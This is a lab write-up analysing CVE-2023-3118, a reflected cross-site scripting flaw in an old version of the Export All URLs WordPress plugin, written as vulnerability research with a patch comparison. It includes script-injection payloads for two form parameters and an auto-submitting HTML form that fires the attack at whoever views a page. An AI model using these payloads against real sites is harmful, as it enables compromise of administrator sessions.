Description of Image

On this page

Description

The Export All URLs WordPress plugin before 4.6 does not sanitise and escape a parameter before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Description of Image

Lab-Setup

mkdir cve-2023-3118

create docker-compose.yml file

version: '3.8'

services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: MySQLP@ssw0rd
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wordpress_data:/var/www/html

volumes:
  db_data:
  wordpress_data:

then run docker-compose up to run the image Description of Image

When you go to http://localhost:8000/ you will see the wordpress installation page Image Image
Image
Image I searched for easy digital downloads Image
Image Go to Advanced View Section Image

The description of the vulnerability states that versions below 4.6 are vulnerable. We will download both 4.5 and 4.6 to analyze the patch for the vulnerability. Image Image

Let’s upload the vulnerable plugin to WordPress. Press the “Browse” button and choose export-all-urls.4.5.zip Image Then press on the Install Now Button Image Then press on the Activate Plugin Button Image The plugin was installed successfully. Image

BlackBox Testing

I will test the vulnerable version as we don’t know where the vulnerability is located Image First, I will search for all GET methods in PHP files to see if any can be exploited.

grep --color=always -r '$_GET' --include="*.php" .

The line that appears in the output is used in WordPress security to verify a nonce (a number used once) and prevent CSRF (Cross-Site Request Forgery) attacks, so it is not useful for exploitation. Image

Let’s now search for all POST Methods

grep --color=always -r '$_POST' --include="*.php" .

As you see from the output the sanitize_text_field & sanitize_file_name functions are used in many lines. sanitize_text_field() is a WordPress built-in function that sanitize user input. sanitize_file_name is a WordPress built-in function that sanitizes a filename, replacing whitespace with dashes.

Image So the POST Methods that are inside sanitize_text_field & sanitize_file_name functions is useless to us.
Let’s remove the lines that contain this function.

grep --color=always -r '$_POST' --include="*.php" . | grep -v 'sanitize_text_field'

There are two interesting lines that accept user input and print it as it is without any sanitization. Image

<?php echo isset($_POST['starting-point']) ===> Print starting-point value
<?php echo isset($_POST['ending-point'])   ===> Print ending-point value

When user input is submitted as is, the first vulnerability that comes to mind is XSS
Let’s see if we can exploit this I will go to the plugin location from Tools Image Then press on Show Filter Options and Show Advanced Options to see all the available inputs Image I want to find the location of POST Parameters starting-point & ending-point at this page
Right Click - View Page Source ( CTRL + U )
And search for keyword starting-point. You will find it’s under Number of Posts keyword Image

To confirm that, press F12 to inspect the page. If you click on the box near the word From, you will find it corresponds to the starting-point POST parameter, and the box near To corresponds to the ending-point POST parameter. Image Let’s enter any values and then press Export Now Button Image I intercepted the request with BurpSuite Image

Let’s see how we can exploit this vulnerability. From page source this is where the starting-point & ending-point values are located

  • From: <input type="number" name="starting-point" placeholder="0" value="{starting-point-User-Input}">

  • To: <input type="number" name="ending-point" placeholder="500" value="{ending-point-User-Input}"> So we need to close the tags and put our payload.
    Our First payload with the closed tags will be like that
    From: <input type="number" name="starting-point" placeholder="0" value=""><script>alert(/XSS-starting-point/)</script><"">
    Our Second payload with the closed tags will be like that
    To: <input type="number" name="ending-point" placeholder="500" value=""><script>alert(/XSS-ending-point/)</script><"">
    Let’s test this by sending our intercepted request in BurpSuite to the Repeater tab. Image Then Right Click and choose Show response in browser Image Copy the given url and submit it in the browser. As you can see, the XSS is triggered Image

Image

We can automate this process by putting this HTML code in any page

<body onload="document.forms[0].submit()">
    <form action="http://localhost:8000/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
        <input type="hidden" name="starting-point" value='"><script>alert(/XSS-starting-point/)</script>' />
        <input type="hidden" name="ending-point" value='"><script>alert(/XSS-ending-point/)</script>' />
        <input type="submit" value="submit">
    </form>
</body>

Go to Pages - Add New Page Image Press on the ➕ Sign and type html in the search box and choose Custom HTML Image Then put our html code and press Publish Image Go to Pages and view the page where we placed our payload. Image As you see the XSS is triggered to anyone who visits this page Image

Image

Patch Diffing

Now, Let’s take a look at the patch that used to prevent the vulnerability, We can see the patch information on wordpress from here. As we can see, the vulnerable POST methods have been placed inside esc_attr, which is used for escaping HTML attributes. Image

Resources

https://nvd.nist.gov/vuln/detail/CVE-2023-3118 https://wpscan.com/vulnerability/8a9efc8d-561a-42c6-8e61-ae5c3be581ea/